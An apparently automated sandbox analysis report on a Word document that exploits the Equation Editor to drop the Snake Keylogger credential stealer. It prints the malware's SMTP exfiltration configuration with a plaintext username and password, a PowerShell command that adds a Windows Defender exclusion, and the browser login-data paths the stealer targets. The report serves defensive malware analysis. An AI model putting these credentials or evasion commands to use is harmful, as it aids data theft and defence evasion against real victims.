Edit tour

Windows Analysis Report
Bank Slip 2.doc

Overview

General Information

Sample name:	Bank Slip 2.doc
Analysis ID:	1465556
MD5:	ff06a87dd0550386be1f780d560f1877
SHA1:	69e95738ec635520a508f7424a759261e5032cb0
SHA256:	511c82313461b74fe24201d13dead6a280311d248062e09a465eb950502d1c18
Tags:	doc
Infos:

Detection

Snake Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: File Dropped By EQNEDT32EXE

Yara detected Snake Keylogger

.NET source code contains potential unpacker

Adds a directory exclusion to Windows Defender

Document exploit detected (process start blacklist hit)

Injects a PE file into a foreign processes

Installs new ROOT certificates

Machine Learning detection for dropped file

Office equation editor drops PE file

Office equation editor establishes network connection

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Sigma detected: Equation Editor Network Connection

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Suspicious Binary In User Directory Spawned From Office Application

Sigma detected: Suspicious Microsoft Office Child Process

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Yara detected Generic Downloader

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Office Equation Editor has been started

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious DNS Query for IP Lookup Service APIs

Stores large binary data to the registry

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w7x64

WINWORD.EXE (PID: 2780 cmdline: "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5)

EQNEDT32.EXE (PID: 1804 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

obie8920193.exe (PID: 3152 cmdline: "C:\Users\user\AppData\Roaming\obie8920193.exe" MD5: DBDACF479A9DD40133701E06E6DC401C)

powershell.exe (PID: 3236 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\obie8920193.exe" MD5: EB32C070E658937AA9FA9F3AE629B2B8)

obie8920193.exe (PID: 3244 cmdline: "C:\Users\user\AppData\Roaming\obie8920193.exe" MD5: DBDACF479A9DD40133701E06E6DC401C)

EQNEDT32.EXE (PID: 3480 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Snake Keylogger

{"Exfil Mode": "SMTP", "Username": "reservation@artefes.com", "Password": "ArtEfes4765*+", "Host": "mail.artefes.com", "Port": "587", "Version": "5.1"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Bank Slip 2.doc	INDICATOR_RTF_MalVer_Objects	Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.	ditekSHen	0x18e86:$obj2: \objdata 0x18e9b:$obj3: \objupdate 0x18e63:$obj4: \objemb

Memory Dumps

Source	Rule	Description	Author	Strings
00000007.00000002.864143938.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.864143938.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000007.00000002.864143938.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14771:$a1: get_encryptedPassword 0x14a5d:$a2: get_encryptedUsername 0x1457d:$a3: get_timePasswordChanged 0x14678:$a4: get_passwordField 0x14787:$a5: set_encryptedPassword 0x15d6d:$a7: get_logins 0x15cd0:$a10: KeyLoggerEventArgs 0x15969:$a11: KeyLoggerEventArgsEventHandler
00000007.00000002.864143938.0000000000402000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x17fdc:$x1: $%SMTPDV$ 0x18042:$x2: $#TheHashHere%& 0x19621:$x3: %FTPDV$ 0x19715:$x4: $%TelegramDv$ 0x15969:$x5: KeyLoggerEventArgs 0x15cd0:$x5: KeyLoggerEventArgs 0x19645:$m2: Clipboard Logs ID 0x19865:$m2: Screenshot Logs ID 0x19975:$m2: keystroke Logs ID 0x19c4f:$m3: SnakePW 0x1983d:$m4: \SnakeKeylogger\
00000005.00000002.366574375.0000000003579000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.366574375.0000000003579000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000005.00000002.366574375.0000000003579000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14ec1:$a1: get_encryptedPassword 0x356e1:$a1: get_encryptedPassword 0x55d01:$a1: get_encryptedPassword 0x151ad:$a2: get_encryptedUsername 0x359cd:$a2: get_encryptedUsername 0x55fed:$a2: get_encryptedUsername 0x14ccd:$a3: get_timePasswordChanged 0x354ed:$a3: get_timePasswordChanged 0x55b0d:$a3: get_timePasswordChanged 0x14dc8:$a4: get_passwordField 0x355e8:$a4: get_passwordField 0x55c08:$a4: get_passwordField 0x14ed7:$a5: set_encryptedPassword 0x356f7:$a5: set_encryptedPassword 0x55d17:$a5: set_encryptedPassword 0x164bd:$a7: get_logins 0x36cdd:$a7: get_logins 0x572fd:$a7: get_logins 0x16420:$a10: KeyLoggerEventArgs 0x36c40:$a10: KeyLoggerEventArgs 0x57260:$a10: KeyLoggerEventArgs
00000005.00000002.366574375.0000000003579000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x1872c:$x1: $%SMTPDV$ 0x38f4c:$x1: $%SMTPDV$ 0x5956c:$x1: $%SMTPDV$ 0x18792:$x2: $#TheHashHere%& 0x38fb2:$x2: $#TheHashHere%& 0x595d2:$x2: $#TheHashHere%& 0x19d71:$x3: %FTPDV$ 0x3a591:$x3: %FTPDV$ 0x5abb1:$x3: %FTPDV$ 0x19e65:$x4: $%TelegramDv$ 0x3a685:$x4: $%TelegramDv$ 0x5aca5:$x4: $%TelegramDv$ 0x160b9:$x5: KeyLoggerEventArgs 0x16420:$x5: KeyLoggerEventArgs 0x368d9:$x5: KeyLoggerEventArgs 0x36c40:$x5: KeyLoggerEventArgs 0x56ef9:$x5: KeyLoggerEventArgs 0x57260:$x5: KeyLoggerEventArgs 0x19d95:$m2: Clipboard Logs ID 0x19fb5:$m2: Screenshot Logs ID 0x1a0c5:$m2: keystroke Logs ID
00000007.00000002.864677424.00000000023DC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000007.00000002.864677424.0000000002231000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: obie8920193.exe PID: 3152	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: obie8920193.exe PID: 3152	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: obie8920193.exe PID: 3152	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x5332c:$a1: get_encryptedPassword 0x5360e:$a2: get_encryptedUsername 0x53142:$a3: get_timePasswordChanged 0x5323d:$a4: get_passwordField 0x53342:$a5: set_encryptedPassword 0x55732:$a7: get_logins 0x55695:$a10: KeyLoggerEventArgs 0x5532e:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: obie8920193.exe PID: 3152	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x5532e:$x5: KeyLoggerEventArgs 0x55695:$x5: KeyLoggerEventArgs 0x55f83:$x5: KeyLoggerEventArgs 0x562b7:$x5: KeyLoggerEventArgs 0x57859:$m2: Clipboard Logs ID 0x57950:$m2: Screenshot Logs ID 0x579a6:$m2: keystroke Logs ID 0x57adb:$m3: SnakePW 0x5793c:$m4: \SnakeKeylogger\
Process Memory Space: obie8920193.exe PID: 3244	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: obie8920193.exe PID: 3244	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: obie8920193.exe PID: 3244	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x20fe0:$a1: get_encryptedPassword 0x212c2:$a2: get_encryptedUsername 0x20df6:$a3: get_timePasswordChanged 0x20ef1:$a4: get_passwordField 0x20ff6:$a5: set_encryptedPassword 0x233e6:$a7: get_logins 0x23349:$a10: KeyLoggerEventArgs 0x22fe2:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: obie8920193.exe PID: 3244	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x22fe2:$x5: KeyLoggerEventArgs 0x23349:$x5: KeyLoggerEventArgs 0x23c37:$x5: KeyLoggerEventArgs 0x23f6b:$x5: KeyLoggerEventArgs 0x2550d:$m2: Clipboard Logs ID 0x25604:$m2: Screenshot Logs ID 0x2565a:$m2: keystroke Logs ID 0x2578f:$m3: SnakePW 0x255f0:$m4: \SnakeKeylogger\
Click to see the 13 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
5.2.obie8920193.exe.3599d70.8.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.obie8920193.exe.3599d70.8.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
5.2.obie8920193.exe.3599d70.8.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x12b71:$a1: get_encryptedPassword 0x12e5d:$a2: get_encryptedUsername 0x1297d:$a3: get_timePasswordChanged 0x12a78:$a4: get_passwordField 0x12b87:$a5: set_encryptedPassword 0x1416d:$a7: get_logins 0x140d0:$a10: KeyLoggerEventArgs 0x13d69:$a11: KeyLoggerEventArgsEventHandler
5.2.obie8920193.exe.3599d70.8.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1a411:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x19643:$a3: \Google\Chrome\User Data\Default\Login Data 0x19a76:$a4: \Orbitum\User Data\Default\Login Data 0x1aab5:$a5: \Kometa\User Data\Default\Login Data
5.2.obie8920193.exe.3599d70.8.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x13702:$s1: UnHook 0x13709:$s2: SetHook 0x13711:$s3: CallNextHook 0x1371e:$s4: _hook
5.2.obie8920193.exe.3599d70.8.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x163dc:$x1: $%SMTPDV$ 0x16442:$x2: $#TheHashHere%& 0x17a21:$x3: %FTPDV$ 0x17b15:$x4: $%TelegramDv$ 0x13d69:$x5: KeyLoggerEventArgs 0x140d0:$x5: KeyLoggerEventArgs 0x17a45:$m2: Clipboard Logs ID 0x17c65:$m2: Screenshot Logs ID 0x17d75:$m2: keystroke Logs ID 0x1804f:$m3: SnakePW 0x17c3d:$m4: \SnakeKeylogger\
5.2.obie8920193.exe.3579550.10.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.obie8920193.exe.3579550.10.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
5.2.obie8920193.exe.3579550.10.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x12b71:$a1: get_encryptedPassword 0x12e5d:$a2: get_encryptedUsername 0x1297d:$a3: get_timePasswordChanged 0x12a78:$a4: get_passwordField 0x12b87:$a5: set_encryptedPassword 0x1416d:$a7: get_logins 0x140d0:$a10: KeyLoggerEventArgs 0x13d69:$a11: KeyLoggerEventArgsEventHandler
5.2.obie8920193.exe.3579550.10.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1a411:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x19643:$a3: \Google\Chrome\User Data\Default\Login Data 0x19a76:$a4: \Orbitum\User Data\Default\Login Data 0x1aab5:$a5: \Kometa\User Data\Default\Login Data
5.2.obie8920193.exe.3579550.10.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x13702:$s1: UnHook 0x13709:$s2: SetHook 0x13711:$s3: CallNextHook 0x1371e:$s4: _hook
5.2.obie8920193.exe.3579550.10.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x163dc:$x1: $%SMTPDV$ 0x16442:$x2: $#TheHashHere%& 0x17a21:$x3: %FTPDV$ 0x17b15:$x4: $%TelegramDv$ 0x13d69:$x5: KeyLoggerEventArgs 0x140d0:$x5: KeyLoggerEventArgs 0x17a45:$m2: Clipboard Logs ID 0x17c65:$m2: Screenshot Logs ID 0x17d75:$m2: keystroke Logs ID 0x1804f:$m3: SnakePW 0x17c3d:$m4: \SnakeKeylogger\
7.2.obie8920193.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
7.2.obie8920193.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
7.2.obie8920193.exe.400000.0.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
7.2.obie8920193.exe.400000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14971:$a1: get_encryptedPassword 0x14c5d:$a2: get_encryptedUsername 0x1477d:$a3: get_timePasswordChanged 0x14878:$a4: get_passwordField 0x14987:$a5: set_encryptedPassword 0x15f6d:$a7: get_logins 0x15ed0:$a10: KeyLoggerEventArgs 0x15b69:$a11: KeyLoggerEventArgsEventHandler
7.2.obie8920193.exe.400000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1c211:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1b443:$a3: \Google\Chrome\User Data\Default\Login Data 0x1b876:$a4: \Orbitum\User Data\Default\Login Data 0x1c8b5:$a5: \Kometa\User Data\Default\Login Data
7.2.obie8920193.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x15502:$s1: UnHook 0x15509:$s2: SetHook 0x15511:$s3: CallNextHook 0x1551e:$s4: _hook
7.2.obie8920193.exe.400000.0.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x181dc:$x1: $%SMTPDV$ 0x18242:$x2: $#TheHashHere%& 0x19821:$x3: %FTPDV$ 0x19915:$x4: $%TelegramDv$ 0x15b69:$x5: KeyLoggerEventArgs 0x15ed0:$x5: KeyLoggerEventArgs 0x19845:$m2: Clipboard Logs ID 0x19a65:$m2: Screenshot Logs ID 0x19b75:$m2: keystroke Logs ID 0x19e4f:$m3: SnakePW 0x19a3d:$m4: \SnakeKeylogger\
5.2.obie8920193.exe.3599d70.8.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.obie8920193.exe.3599d70.8.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
5.2.obie8920193.exe.3599d70.8.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
5.2.obie8920193.exe.3599d70.8.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14971:$a1: get_encryptedPassword 0x34f91:$a1: get_encryptedPassword 0x14c5d:$a2: get_encryptedUsername 0x3527d:$a2: get_encryptedUsername 0x1477d:$a3: get_timePasswordChanged 0x34d9d:$a3: get_timePasswordChanged 0x14878:$a4: get_passwordField 0x34e98:$a4: get_passwordField 0x14987:$a5: set_encryptedPassword 0x34fa7:$a5: set_encryptedPassword 0x15f6d:$a7: get_logins 0x3658d:$a7: get_logins 0x15ed0:$a10: KeyLoggerEventArgs 0x364f0:$a10: KeyLoggerEventArgs 0x15b69:$a11: KeyLoggerEventArgsEventHandler 0x36189:$a11: KeyLoggerEventArgsEventHandler
5.2.obie8920193.exe.3579550.10.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.obie8920193.exe.3579550.10.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
5.2.obie8920193.exe.3599d70.8.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1c211:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3c831:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1b443:$a3: \Google\Chrome\User Data\Default\Login Data 0x3ba63:$a3: \Google\Chrome\User Data\Default\Login Data 0x1b876:$a4: \Orbitum\User Data\Default\Login Data 0x3be96:$a4: \Orbitum\User Data\Default\Login Data 0x1c8b5:$a5: \Kometa\User Data\Default\Login Data 0x3ced5:$a5: \Kometa\User Data\Default\Login Data
5.2.obie8920193.exe.3579550.10.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
5.2.obie8920193.exe.3599d70.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x15502:$s1: UnHook 0x35b22:$s1: UnHook 0x15509:$s2: SetHook 0x35b29:$s2: SetHook 0x15511:$s3: CallNextHook 0x35b31:$s3: CallNextHook 0x1551e:$s4: _hook 0x35b3e:$s4: _hook
5.2.obie8920193.exe.3599d70.8.raw.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x181dc:$x1: $%SMTPDV$ 0x387fc:$x1: $%SMTPDV$ 0x18242:$x2: $#TheHashHere%& 0x38862:$x2: $#TheHashHere%& 0x19821:$x3: %FTPDV$ 0x39e41:$x3: %FTPDV$ 0x19915:$x4: $%TelegramDv$ 0x39f35:$x4: $%TelegramDv$ 0x15b69:$x5: KeyLoggerEventArgs 0x15ed0:$x5: KeyLoggerEventArgs 0x36189:$x5: KeyLoggerEventArgs 0x364f0:$x5: KeyLoggerEventArgs 0x19845:$m2: Clipboard Logs ID 0x19a65:$m2: Screenshot Logs ID 0x19b75:$m2: keystroke Logs ID 0x39e65:$m2: Clipboard Logs ID 0x3a085:$m2: Screenshot Logs ID 0x3a195:$m2: keystroke Logs ID 0x19e4f:$m3: SnakePW 0x3a46f:$m3: SnakePW 0x19a3d:$m4: \SnakeKeylogger\
5.2.obie8920193.exe.3579550.10.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14971:$a1: get_encryptedPassword 0x35191:$a1: get_encryptedPassword 0x557b1:$a1: get_encryptedPassword 0x14c5d:$a2: get_encryptedUsername 0x3547d:$a2: get_encryptedUsername 0x55a9d:$a2: get_encryptedUsername 0x1477d:$a3: get_timePasswordChanged 0x34f9d:$a3: get_timePasswordChanged 0x555bd:$a3: get_timePasswordChanged 0x14878:$a4: get_passwordField 0x35098:$a4: get_passwordField 0x556b8:$a4: get_passwordField 0x14987:$a5: set_encryptedPassword 0x351a7:$a5: set_encryptedPassword 0x557c7:$a5: set_encryptedPassword 0x15f6d:$a7: get_logins 0x3678d:$a7: get_logins 0x56dad:$a7: get_logins 0x15ed0:$a10: KeyLoggerEventArgs 0x366f0:$a10: KeyLoggerEventArgs 0x56d10:$a10: KeyLoggerEventArgs
5.2.obie8920193.exe.3579550.10.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1c211:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3ca31:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x5d051:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1b443:$a3: \Google\Chrome\User Data\Default\Login Data 0x3bc63:$a3: \Google\Chrome\User Data\Default\Login Data 0x5c283:$a3: \Google\Chrome\User Data\Default\Login Data 0x1b876:$a4: \Orbitum\User Data\Default\Login Data 0x3c096:$a4: \Orbitum\User Data\Default\Login Data 0x5c6b6:$a4: \Orbitum\User Data\Default\Login Data 0x1c8b5:$a5: \Kometa\User Data\Default\Login Data 0x3d0d5:$a5: \Kometa\User Data\Default\Login Data 0x5d6f5:$a5: \Kometa\User Data\Default\Login Data
5.2.obie8920193.exe.3579550.10.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x15502:$s1: UnHook 0x35d22:$s1: UnHook 0x56342:$s1: UnHook 0x15509:$s2: SetHook 0x35d29:$s2: SetHook 0x56349:$s2: SetHook 0x15511:$s3: CallNextHook 0x35d31:$s3: CallNextHook 0x56351:$s3: CallNextHook 0x1551e:$s4: _hook 0x35d3e:$s4: _hook 0x5635e:$s4: _hook
5.2.obie8920193.exe.3579550.10.raw.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x181dc:$x1: $%SMTPDV$ 0x389fc:$x1: $%SMTPDV$ 0x5901c:$x1: $%SMTPDV$ 0x18242:$x2: $#TheHashHere%& 0x38a62:$x2: $#TheHashHere%& 0x59082:$x2: $#TheHashHere%& 0x19821:$x3: %FTPDV$ 0x3a041:$x3: %FTPDV$ 0x5a661:$x3: %FTPDV$ 0x19915:$x4: $%TelegramDv$ 0x3a135:$x4: $%TelegramDv$ 0x5a755:$x4: $%TelegramDv$ 0x15b69:$x5: KeyLoggerEventArgs 0x15ed0:$x5: KeyLoggerEventArgs 0x36389:$x5: KeyLoggerEventArgs 0x366f0:$x5: KeyLoggerEventArgs 0x569a9:$x5: KeyLoggerEventArgs 0x56d10:$x5: KeyLoggerEventArgs 0x19845:$m2: Clipboard Logs ID 0x19a65:$m2: Screenshot Logs ID 0x19b75:$m2: keystroke Logs ID
Click to see the 28 entries

Sigma Signatures

Exploits

Sigma detected: File Dropped By EQNEDT32EXE

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 1804, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\FcdBUj68lnCbMtB[1].exe

System Summary

Sigma detected: Equation Editor Network Connection

Source: Network Connection

Author: Max Altgelt (Nextron Systems): Data: DestinationIp: 104.21.53.203, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 1804, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49163

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\obie8920193.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\obie8920193.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\obie8920193.exe", ParentImage: C:\Users\user\AppData\Roaming\obie8920193.exe, ParentProcessId: 3152, ParentProcessName: obie8920193.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\obie8920193.exe", ProcessId: 3236, ProcessName: powershell.exe

Sigma detected: Suspicious Binary In User Directory Spawned From Office Application

Source: Process started

Author: Jason Lynch: Data: Command: "C:\Users\user\AppData\Roaming\obie8920193.exe", CommandLine: "C:\Users\user\AppData\Roaming\obie8920193.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\obie8920193.exe, NewProcessName: C:\Users\user\AppData\Roaming\obie8920193.exe, OriginalFileName: C:\Users\user\AppData\Roaming\obie8920193.exe, ParentCommandLine: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 1804, ParentProcessName: EQNEDT32.EXE, ProcessCommandLine: "C:\Users\user\AppData\Roaming\obie8920193.exe", ProcessId: 3152, ProcessName: obie8920193.exe

Sigma detected: Suspicious Microsoft Office Child Process

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io: Data: Command: "C:\Users\user\AppData\Roaming\obie8920193.exe", CommandLine: "C:\Users\user\AppData\Roaming\obie8920193.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\obie8920193.exe, NewProcessName: C:\Users\user\AppData\Roaming\obie8920193.exe, OriginalFileName: C:\Users\user\AppData\Roaming\obie8920193.exe, ParentCommandLine: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 1804, ParentProcessName: EQNEDT32.EXE, ProcessCommandLine: "C:\Users\user\AppData\Roaming\obie8920193.exe", ProcessId: 3152, ProcessName: obie8920193.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious DNS Query for IP Lookup Service APIs

Source: DNS query

Author: Brandon George (blog post), Thomas Patzke: Data: Image: C:\Users\user\AppData\Roaming\obie8920193.exe, QueryName: checkip.dyndns.org

Sigma detected: Modification of IE Registry Settings

Source: Registry Key set

Author: frack113: Data: Details: 46 00 00 00 2A 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 C0 A8 02 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 1804, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

